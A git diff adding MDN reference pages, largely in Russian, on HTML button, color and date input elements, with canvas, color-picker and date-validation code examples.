+<p><strong>Note</strong>: Firefox will, unlike other browsers, by default, <a href="http://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state</a> of a {{HTMLElement("button")}} across page loads. Use the {{htmlattrxref("autocomplete","button")}} attribute to control this feature.</p>
+</div>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Buttons don't participate in constraint validation; they have no real value to be constrained.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The below example shows a very simple drawing app created using a {{htmlelement("canvas")}} element and some simple CSS and JavaScript (we'll hide the CSS for brevity). The top two controls allow you to choose the color and size of the drawing pen. The button, when clicked, invokes a function that clears the canvas.</p>
+
+<pre class="brush: html">&lt;div class="toolbar"&gt;
+  &lt;input type="color" aria-label="select pen color"&gt;
+  &lt;input type="range" min="2" max="50" value="30" aria-label="select pen size"&gt;&lt;span class="output"&gt;30&lt;/span&gt;
+  &lt;input type="button" value="Clear canvas"&gt;
+&lt;/div&gt;
+
+&lt;canvas class="myCanvas"&gt;
+  &lt;p&gt;Add suitable fallback here.&lt;/p&gt;
+&lt;/canvas&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">body {
+  background: #ccc;
+  margin: 0;
+  overflow: hidden;
+}
+
+.toolbar {
+  background: #ccc;
+  width: 150px;
+  height: 75px;
+  padding: 5px;
+}
+
+input[type="color"], input[type="button"] {
+  width: 90%;
+  margin: 0 auto;
+  display: block;
+}
+
+input[type="range"] {
+  width: 70%;
+}
+
+span {
+  position: relative;
+  bottom: 5px;
+}</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.querySelector('.myCanvas');
+var width = canvas.width = window.innerWidth;
+var height = canvas.height = window.innerHeight-85;
+var ctx = canvas.getContext('2d');
+
+ctx.fillStyle = 'rgb(0,0,0)';
+ctx.fillRect(0,0,width,height);
+
+var colorPicker = document.querySelector('input[type="color"]');
+var sizePicker = document.querySelector('input[type="range"]');
+var output = document.querySelector('.output');
+var clearBtn = document.querySelector('input[type="button"]');
+
+// covert degrees to radians
+function degToRad(degrees) {
+  return degrees * Math.PI / 180;
+};
+
+// update sizepicker output value
+
+sizePicker.oninput = function() {
+  output.textContent = sizePicker.value;
+}
+
+// store mouse pointer coordinates, and whether the button is pressed
+var curX;
+var curY;
+var pressed = false;
+
+// update mouse pointer coordinates
+document.onmousemove = function(e) {
+  curX = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft);
+  curY = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+}
+
+canvas.onmousedown = function() {
+  pressed = true;
+};
+
+canvas.onmouseup = function() {
+  pressed = false;
+}
+
+clearBtn.onclick = function() {
+  ctx.fillStyle = 'rgb(0,0,0)';
+  ctx.fillRect(0,0,width,height);
+}
+
+function draw() {
+  if(pressed) {
+    ctx.fillStyle = colorPicker.value;
+    ctx.beginPath();
+    ctx.arc(curX, curY-85, sizePicker.value, degToRad(0), degToRad(360), false);
+    ctx.fill();
+  }
+
+  requestAnimationFrame(draw);
+}
+
+draw();</pre>
+
+<p>{{EmbedLiveSample("Examples", '100%', 600)}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comments</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#button-state-(type=button)', '&lt;input type="button"&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.input.input-button")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTMLElement("input")}} and the {{domxref("HTMLInputElement")}} interface which implements it.</li>
+ <li>The more modern {{HTMLElement("button")}} element.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/color/index.html b/files/ru/web/html/element/input/color/index.html
new file mode 100644
index 0000000000..0dcdf05619
--- /dev/null
+++ b/files/ru/web/html/element/input/color/index.html
@@ -0,0 +1,221 @@
+---
+title: <input type="color">
+slug: Web/HTML/Element/Input/color
+tags:
+  - Color Picker
+  - Element
+  - Form input
+  - Forms
+  - HTML
+  - HTML forms
+  - HTML input
+  - Input
+  - Reference
+  - color
+translation_of: Web/HTML/Element/input/color
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary">{{HTMLElement("input")}} элементы типа <strong><code>color</code></strong> предоставляют элемент пользовательского интерфейса, который позволяет пользователю указать цвет либо с помощью визуального интерфейса выбора цвета, либо путем ввода цвета в текстовое поле в шестнадцатеричном формате #rrggbb. Разрешены только простые цвета (без альфа-канала), хотя CSS colors имеет больше форматов, например названия цветов, функциональные обозначения и шестнадцатеричный формат с альфа-каналом.</span></p>
+
+<p>Представление элемента может существенно отличаться от одного браузера и/или платформы к другой — это может быть простой текстовый ввод, который автоматически проверяет правильность ввода информации о цвете в соответствующем формате, или стандартный для платформы выбор цвета, или какое-то пользовательское окно выбора цвета.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-color.html", "tabbed-standard")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>7-значная {{domxref("DOMString")}} , указывающая {{cssxref("&lt;color&gt;")}} в строчной шестнадцатеричной системе счисления</td>
+  </tr>
+  <tr>
+   <td><strong>События</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Поддерживаемые общие атрибуты</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}} и {{htmlattrxref("list", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL атрибуты</strong></td>
+   <td><code>list</code> и <code>value</code></td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Value">Value</h2>
+
+<p>{{Htmlattrxref ("value","input")}} элемента {{HTMLElement ("input")}} типа <code>color</code> всегда является {{domxref ("DOMString")}}, который содержит 7-символьную строку, задающую цвет RGB в шестнадцатеричном формате. Хотя вы можете ввести цвет в верхнем или нижнем регистре, он будет сохранен в виде нижнего регистра. Value никогда не бывает в какой-либо другой форме и никогда не бывает пустым.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> установка значения на всё, что не является допустимым, полностью непрозрачным цветом RGB в шестнадцатеричной системе счисления, приведет к тому, что значение будет установлено на #000000. В частности, вы не можете использовать стандартные имена цветов CSS или любой синтаксис функций CSS для установки значения. Это имеет смысл, если иметь в виду, что HTML и CSS-это отдельные языки и спецификации. Кроме того, цвета с альфа-каналом не поддерживаются; указание цвета в 9-символьной шестнадцатеричной системе счисления (например, #009900aa) также приведет к тому, что цвет будет установлен на #000000.</p>
+</div>
+
+<h2 id="Использование_настроек_цвета">Использование настроек цвета</h2>
+
+<p>Входные данные типа <code>color</code> просты из-за ограниченного числа атрибутов, которые они поддерживают.</p>
+
+<h3 id="Предоставление_цвета_по_умолчанию">Предоставление цвета по умолчанию</h3>
+
+<p>Вы можете обновить простой пример выше, чтобы установить значение по умолчанию, так что цветовая заливка будет предварительно заполнена цветом по умолчанию, и палитра цветов (если таковая имеется) также будет по умолчанию использовать этот цвет:</p>
+
+<pre class="brush: html notranslate">&lt;input type="color" value="#ff0000"&gt;</pre>
+
+<p>{{EmbedLiveSample("Providing_a_default_color", 700, 30)}}</p>
+
+<p>Если вы не зададите значение, то по умолчанию будет <code>#000000</code>, то есть черный цвет. Значение должно быть в семизначной шестнадцатеричной системе счисления, то есть символ"#", за которым следуют две цифры, каждая из которых представляет красный, зеленый и синий цвета, например: #rrggbb. Если у вас есть цвета в любом другом формате (например, имена цветов CSS или цветовые функции CSS, такие как rgb () или rgba ()), вам придется преобразовать их в шестнадцатеричные перед установкой значения.</p>
+
+<h3 id="Отслеживание_изменений_цвета">Отслеживание изменений цвета</h3>
+
+<p>Как и в случае с другими типами {{HTMLElement("input")}}, есть два события, которые могут быть использованы для обнаружения изменения цвета значения: {{domxref("HTMLElement/input_event", "input")}} и {{domxref("HTMLElement/change_event", "change")}}. <code>input</code> запускается на элементе <code>&lt;input&gt;</code> каждый раз, когда меняется цвет. <code>change</code> событие запускается, когда пользователь отклоняет средство выбора цвета. В обоих случаях вы можете определить новое значение элемента, посмотрев на его {{domxref("HTMLInputElement.value", "value")}}.</p>
+
+<p>Вот пример, который наблюдает за изменениями со временем значения цвета:</p>
+
+<pre class="brush: js notranslate">colorPicker.addEventListener("input", updateFirst, false);
+colorPicker.addEventListener("change", watchColorPicker, false);
+
+function watchColorPicker(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<h3 id="Выбор_значения">Выбор значения</h3>
+
+<p>Если реализация элемента {{HTMLElement("input")}} типа <code>color</code> в браузере пользователя не поддерживается правильно, а вместо этого является текстовым полем для непосредственного ввода строки цвета, вы можете использовать {{domxref("HTMLInputElement.select", " select ()")}} метод выбора текста, находящегося в данный момент в поле редактирования. Если браузер вместо этого верно использует <code>color</code>, select () ничего не делает. Вы должны знать об этом, чтобы ваш код мог адекватно реагировать в любом случае.</p>
+
+<pre class="brush: js notranslate">colorWell.select();</pre>
+
+<h3 id="Вариации_внешнего_вида">Вариации внешнего вида</h3>
+
+<p>Как уже упоминалось ранее, когда браузер не поддерживает интерфейс выбора цвета, его реализация цветовых входов будет представлять собой текстовое поле, которое автоматически проверяет содержимое, чтобы убедиться, что значение находится в правильном формате. Например, в Safari 10.1 вы увидите что-то похожее на это:<img alt="Screenshot of the example taken in Safari." src="https://mdn.mozillademos.org/files/14899/input-color-safari.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>То же самое можно увидеть и в Firefox 55:<img alt="Screenshot of the example taken in Firefox 55 for macOS" src="https://mdn.mozillademos.org/files/14901/input-color-firefox.png" style="border-style: solid; border-width: 1px; height: 160px; width: 598px;"></p>
+
+<p>В этом случае при нажатии на цветовой колодец отображается палитра цветов платформы, из которой вы можете выбрать нужный цвет (в данном случае это палитра macOS):</p>
+
+<p><img alt="Screenshot of the element with the color picker open in Firefox Mac." src="https://mdn.mozillademos.org/files/14903/input-with-picker-firefox-mac.png" style="border-style: solid; border-width: 1px; height: 405px; width: 682px;"></p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Значение цветового ввода считается недопустимым, если {{Glossary("user agent")}} не может преобразовать пользовательский ввод в семизначную строчную шестнадцатеричную нотацию. В этом случае к элементу применяется псевдокласс {{cssxref(":invalid")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Давайте создадим пример, который делает немного больше с цветом входного сигнала путем отслеживания {{domxref("HTMLElement/change_event", "change")}} и {{domxref("HTMLElement/input_event", "input")}} событий, чтобы взять новый цвет и применить его к каждому {{HTMLElement("Р")}} элемента в документе.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML довольно прост — пара абзацев описательного материала с {{HTMLElement ("input")}} типа <code>color </code>с идентификатором <code>colorWell</code>, который мы будем использовать для изменения цвета текста абзацев.</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;An example demonstrating the use of the &lt;code&gt;&amp;lt;input type="color"&amp;gt;&lt;/code&gt;
+   control.&lt;/p&gt;
+
+&lt;label for="colorWell"&gt;Color:&lt;/label&gt;
+&lt;input type="color" value="#ff0000" id="colorWell"&gt;
+
+&lt;p&gt;Watch the paragraph colors change when you adjust the color picker.
+   As you make changes in the color picker, the first paragraph's
+   color changes, as a preview (this uses the &lt;code&gt;input&lt;/code&gt;
+   event). When you close the color picker, the &lt;code&gt;change&lt;/code&gt;
+   event fires, and we detect that to change every paragraph to
+   the selected color.&lt;/p&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Во-первых, есть некоторые настройки. Здесь мы объявляем некоторые переменные. Объявляя переменную, содержащую цвет, который мы установим, когда загрузим страницу, а затем устанавливаем обработчик {{domxref("Window/load_event", "load")}} для выполнения основной работы запуска, как только страница будет полностью загружена.</p>
+
+<pre class="brush: js notranslate">var colorWell;
+var defaultColor = "#0000ff";
+
+window.addEventListener("load", startup, false);
+</pre>
+
+<h4 id="Инициализация">Инициализация</h4>
+
+<p>Как только страница загружена, вызывается наш обработчик событий загрузки <code>startup()</code>:</p>
+
+<pre class="brush: js notranslate">function startup() {
+  colorWell = document.querySelector("#colorWell");
+  colorWell.value = defaultColor;
+  colorWell.addEventListener("input", updateFirst, false);
+  colorWell.addEventListener("change", updateAll, false);
+  colorWell.select();
+}
+</pre>
+
+<p>Это возвращает ссылку на элемент color<strong> </strong><code>&lt;input&gt;</code><strong> </strong>в переменной <code>colorWell</code>, а затем устанавливает значение входного цвета в значение <code>defaultColor</code>. То цвет входное {{domxref("HTMLElement/input_event", "input")}} событие настроено, чтобы вызвать <code>updateFirst()</code> функцию и {{domxref("HTMLElement/change_event", "change")}} событие, вызывается <code>updateAll()</code>. Они оба видны ниже.</p>
+
+<p>Наконец, мы вызываем {{domxref ("HTMLInputElement.select", " select ()")}} для выбора текстового содержимого цветового ввода, если элемент управления реализован в виде текстового поля (это не имеет никакого эффекта, если вместо него предусмотрен интерфейс выбора цвета).</p>
+
+<h4 id="Реакция_на_изменение_цвета">Реакция на изменение цвета</h4>
+
+<p>Мы предоставляем две функции, которые имеют дело с изменением цвета. Функция <code>updateFirst()</code> вызывается в ответ на <code>input</code> событие. Он изменяет цвет первого элемента абзаца в документе, чтобы соответствовать новому значению входного цвета. Поскольку <code>input</code> события запускаются каждый раз, когда производится корректировка значения (например, если яркость цвета увеличивается), они будут происходить повторно при использовании средства выбора цвета.</p>
+
+<pre class="brush: js notranslate">function updateFirst(event) {
+  var p = document.querySelector("p");
+
+  if (p) {
+    p.style.color = event.target.value;
+  }
+}</pre>
+
+<p>Когда средство выбора цвета закрывается, указывая, что значение больше не будет меняться (если пользователь повторно не откроет средство выбора цвета), в элемент отправляется событие <code>change</code>. Мы обрабатываем это событие с помощью функции <code>updateAll()</code>, используя {{domxref("HTMLInputElement.value", "Event.target.value")}} для получения окончательного выбранного цвета:</p>
+
+<pre class="brush: js notranslate">function updateAll(event) {
+  document.querySelectorAll("p").forEach(function(p) {
+    p.style.color = event.target.value;
+  });
+}
+</pre>
+
+<p>Это устанавливает цвет каждого элемента {{HTMLElement("p")}} таким образом, чтобы его атрибут {{cssxref("color")}} соответствовал текущему значению входного цвета, на которое ссылаются с помощью {{domxref("Event.target", "event.target")}}.</p>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Финальный результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Example", 700, 200)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#color-state-(type=color)')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-input-element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.input.input-color")}}</p>
+
+<h2 id="Изучите_также">Изучите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Forms/Property_compatibility_table_for_form_widgets">Compatibility of CSS properties</a></li>
+</ul>
diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html
new file mode 100644
index 0000000000..5fb53a1437
--- /dev/null
+++ b/files/ru/web/html/element/input/date/index.html
@@ -0,0 +1,510 @@
+---
+title: <input type="date">
+slug: Web/HTML/Element/Input/date
+translation_of: Web/HTML/Element/input/date
+---
+<div>{{HTMLRef}}</div>
+
+<p>Элементы {{htmlelement("input")}} типа <strong><code>date</code></strong> создают поля ввода и позволяют пользователю ввести дату, либо использовать <em>text box</em> для автоматической проверки контента или использовать специальный интерфейс <em>date picker</em>. Возвращаемое значение включает год, месяц, день, но <em>не</em> время. Используйте поля ввода {{HTMLElement("input/time", "time")}} или {{HTMLElement("input/datetime-local", "datetime-local")}}, чтобы вводить время или дату+время соответственно.</p>
+
+<p>Отображение <strong><code>date</code></strong> различается в зависимости от браузера, кроме того не все браузеры поддерживают <strong><code>date</code></strong>. Подробнее см. {{anch("Browser compatibility")}}. В неподдерживаемых браузерах элемент будет отображаться как обычный <code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-date.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в репозитории GitHub. Если вы хотите внести свой вклад в проект интерактивных примеров, пожалуйста, клонируйте https://github.com/mdn/interactive-examples и отправьте нам запрос на внесение изменений.</p>
+
+<p>Среди браузеров со своим интерфейсом для выбора даты, есть интерфейс браузеров Chrome и Opera, который выглядит так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14909/date-picker-chrome.png" style="display: block; height: 220px; margin: 0px auto; width: 275px;"></p>
+
+<p>В Edge он выглядит так:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14911/date-picker-edge.png" style="display: block; margin: 0 auto;"></p>
+
+<p>А в Firefox выглядит так:</p>
+
+<p><img alt="Datepicker UI in firefox" src="https://mdn.mozillademos.org/files/15644/firefox_datepicker.png" style="display: block; margin: 0 auto;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Value")}}</strong></td>
+   <td>Возвращает {{domxref("DOMString")}}, с датой в формате <strong>гггг-мм-дд</strong>,<strong> </strong>или <strong>пустую строку</strong></td>
+  </tr>
+  <tr>
+   <td><strong>События</strong></td>
+   <td>{{event("change")}} и {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Поддерживаемые атрибуты</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}}, and {{htmlattrxref("step", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>IDL attributes</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Методы</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Возвращает {{domxref("DOMString")}}, представляющий значение даты введенной в input. Вы можете установить значение по умолчанию для элемента с помощью добавления атрибута в {{htmlattrxref("value", "input")}}, например:</p>
+
+<pre class="brush: html notranslate">&lt;input id="date" type="date" value="2017-06-01"&gt;</pre>
+
+<p>{{EmbedLiveSample('Значение', 600, 40)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Помните, что отображаемый формат даты отличается от настоящего значения <code>value</code></strong> – отображаемый формат даты будет выбран, <em>базируясь на региональных параметрах браузера пользователя</em>, тогда как значение <code>value</code> всегда имеет формат <code>гггг-мм-дд</code>.</p>
+</div>
+
+<p>Вы также можете получить или установить значение даты в JavaScript с помощью свойств {{domxref("HTMLInputElement.value", "value")}} и {{domxref("HTMLInputElement.valueAsNumber", "valueAsNumber")}} элемента input. Например:</p>
+
+<pre class="brush: js notranslate">var dateControl = document.querySelector('input[type="date"]');
+dateControl.value = '2017-06-01';
+console.log(dateControl.value); // prints "2017-06-01"
+console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript timestamp (ms)
+</pre>
+
+<p>Этот код выбирает первый элемент {{HTMLElement("input")}}, <code>type</code> которого <code>date</code> и устанавливает значение даты в <code>2017-06-01</code> (1 Июня 2017). Затем он считывает это значение обратно в строковом и числовом форматах.</p>
+
+<h2 id="Дополнительные_атрибуты">Дополнительные атрибуты</h2>
+
+<p>В дополнение к общим атрибутам для всех элементов {{HTMLElement("input")}}, у <code>"date"</code> есть следующие дополнительные атрибуты:</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Атрибут</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>Максимально возможная дата для установки</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>Минимально возможная дата для установки</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Шаг (в днях), с которым будет изменяться дата при нажатии кнопок вниз или вверх данного элемента</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdefmax">{{htmlattrdef("max")}}</h3>
+
+<p>Максимально возможная дата для установки. Если {{htmlattrxref("value", "input")}} является более поздней датой, чем дата, указанная в атрибуте <code>{{anch("max")}}</code>, элемент отобразит ошибку при помощи <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. Если в атрибуте <code>max</code> указано значение, не удовлетворяющее формату <code>yyyy-MM-dd</code>, значит элемент не будет иметь максимальной даты.</p>
+
+<p>В атрибуте <code>max</code> должна быть указана строка с датой, которая больше или равна дате, указанной в атрибуте <code>min</code>.</p>
+
+<h3 id="htmlattrdefmin">{{htmlattrdef("min")}}</h3>
+
+<p>Минимально возможная дата для установки. Если {{htmlattrxref("value", "input")}} является более ранней датой, чем дата, указанная в атрибуте <code>{{anch("min")}}</code>, элемент отобразит ошибку при помощи <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/HTML5/Constraint_validation">constraint validation</a>. Если в атрибуте <code>min</code> указано значение, не удовлетворяющее формату <code>yyyy-MM-dd</code>, значит элемент не будет иметь минимальной даты.</p>
+
+<p>В атрибуте <code>min</code> должна быть указана строка с датой, которая меньше или равна дате, указанной в атрибуте <code>max</code>.</p>
+
+<h3 id="htmlattrdefstep">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/ru/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Для полей ввода <code>date</code> значение <code>step</code> задаётся в днях; и является количеством миллисекунд, равное 86 400 000 умножить на значение <code>step</code> (получаемое числовое значение хранится в миллисекундах). Стандартное значение <code>step</code> равно 1, что означает 1 день.</p>
+
+<div class="blockIndicator note">
+<p>Для полей ввода <code>date</code> указание для <code>step</code> значения <code>any</code> даёт такой же эффект, что и значение <code>1</code>.</p>
+</div>
+
+<h2 id="Использование_полей_ввода_c_типом_date">Использование полей ввода c типом date</h2>
+
+<p>На первый взгляд, элемент <code>&lt;input type="date"&gt;</code> выглядит заманчиво — он предоставляет легкий графический интерфейс для выбора даты, нормализует формат даты, отправляемой на сервер независимо от локальных настроек пользователя. Тем не менее, есть проблемы с <code>&lt;input type="date"&gt;</code> в связи с ограниченой поддержкой браузеров.</p>
+
+<p>В этом разделе мы посмотрим на простые, а затем и более сложные способы использования <code>&lt;input type="date"&gt;</code>, и позже дадим советы по уменьшению влияния поддержки браузерами (смотрите {{anch("Handling browser support")}}).</p>
+
+<div class="blockIndicator note">
+<p>Надеемся, со временем поддержка браузерами станет повсеместной, и эта проблема исчезнет.</p>
+</div>
+
+<h3 id="Как_использовать_date">Как использовать date?</h3>
+
+<p>Самый простой способ использовать <code>&lt;input type="date"&gt;</code> - это использовать его с элементами <code>&lt;input&gt;</code> и <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">label</span></font>, как показано ниже:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="bday"&gt;Введите дату вашего рождения:&lt;/label&gt;
+    &lt;input type="date" id="bday" name="bday"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Как_использовать_date', 600, 40)}}</p>
+
+<h3 id="Установка_максимальной_и_минимальной_даты">Установка максимальной и минимальной даты</h3>
+
+<p>Вы можете использовать атрибуты {{htmlattrxref("min", "input")}} и {{htmlattrxref("max", "input")}}, чтобы ограничить дату, которую может выбрать пользователь. В следующем примере мы устанавливаем минимальную дату <code>2017-04-01</code> и максимальную дату <code>2017-04-30</code>. Пользователь сможет выбрать дату только из этого диапазона:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Укажите предпочтительную дату события:&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-30"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Установка_максимальной_и_минимальной_даты', 600, 40)}}</p>
+
+<p>В результате выполнения кода, пользователь сможет выбрать любой день апреля 2017 года, но не сможет выбрать и даже просмотреть дни других месяцев и годов, в том числе через виджет <em>date picker</em>.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы <em>должны</em> уметь использовать аттрибут {{htmlattrxref("step", "input")}}, чтобы менять количество дней, на которое будет происходить шаг при изменении даты (например, чтобы сделать выбираемыми только субботы). Однако, не похоже, что это где-то применялось на данный момент.</p>
+</div>
+
+<h3 id="Controlling_input_size">Controlling input size</h3>
+
+<p><code>&lt;input type="date"&gt;</code> doesn't support form sizing attributes such as {{htmlattrxref("size", "input")}}. You'll have to resort to <a href="/en-US/docs/Web/CSS">CSS</a> for sizing needs.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>By default, <code>&lt;input type="date"&gt;</code> does not apply any validation to entered values. The UI implementations generally don't let you enter anything that isn't a date — which is helpful — but you can still leave the field empty or  (in browsers where the input falls back to type <code>text</code>) enter an invalid date (e.g. the 32nd of April).</p>
+
+<p>If you use {{htmlattrxref("min", "input")}} and {{htmlattrxref("max", "input")}} to restrict the available dates (see {{anch("Setting maximum and minimum dates")}}), supporting browsers will display an error if you try to submit a date that is outside the set bounds. However, you'll have to check the results to be sure the value is within these dates, since they're only enforced if the date picker is fully supported on the user's device.</p>
+
+<p>In addition, you can use the {{htmlattrxref("required", "input")}} attribute to make filling in the date mandatory — again, an error will be displayed if you try to submit an empty date field. This, at least, should work in most browsers.</p>
+
+<p>Let's look at an example — here we've set minimum and maximum dates, and also made the field required:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="party"&gt;Choose your preferred party date (required, April 1st to 20th):&lt;/label&gt;
+    &lt;input type="date" id="party" name="party" min="2017-04-01" max="2017-04-20" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;input type="submit"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>If you try to submit the form with an incomplete date (or with a date outside the set bounds), the browser displays an error. Try playing with the example now:</p>
+
+<p>{{ EmbedLiveSample('Validation', 600, 100) }}</p>
+
+<p>Here's a screenshot for those of you who aren't using a supporting browser:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14913/date-picker-chrome-error-message.png" style="border-style: solid; border-width: 1px; display: block; margin: 0px auto;"></p>
+
+<p>Here's the CSS used in the above example. Here we make use of the {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS properties to style the input based on whether or not the current value is valid. We had to put the icons on a {{htmlelement("span")}} next to the input, not on the input itself, because in Chrome the generated content is placed inside the form control, and can't be styled or shown effectively.</p>
+
+<pre class="brush: css notranslate">div {
+    margin-bottom: 10px;
+    display: flex;
+    align-items: center;
+}
+
+label {
+  display: inline-block;
+  width: 300px;
+}
+
+input:invalid+span:after {
+    content: '✖';
+    padding-left: 5px;
+}
+
+input:valid+span:after {
+    content: '✓';
+    padding-left: 5px;
+}</pre>
+
+<div class="warning">
+<p><strong>Important</strong>: HTML form validation is <em>not</em> a substitute for scripts that ensure that the entered data is in the proper format.  It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to simply bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data is submitted (or data which is too large, is of the wrong type, and so forth).</p>
+</div>
+
+<h2 id="Handling_browser_support">Handling browser support</h2>
+
+<p>As mentioned above, the major problem with using date inputs at the time of writing is {{anch("Browser compatibility", "browser support")}}. As an example, the date picker on Firefox for Android looks like this:</p>
+
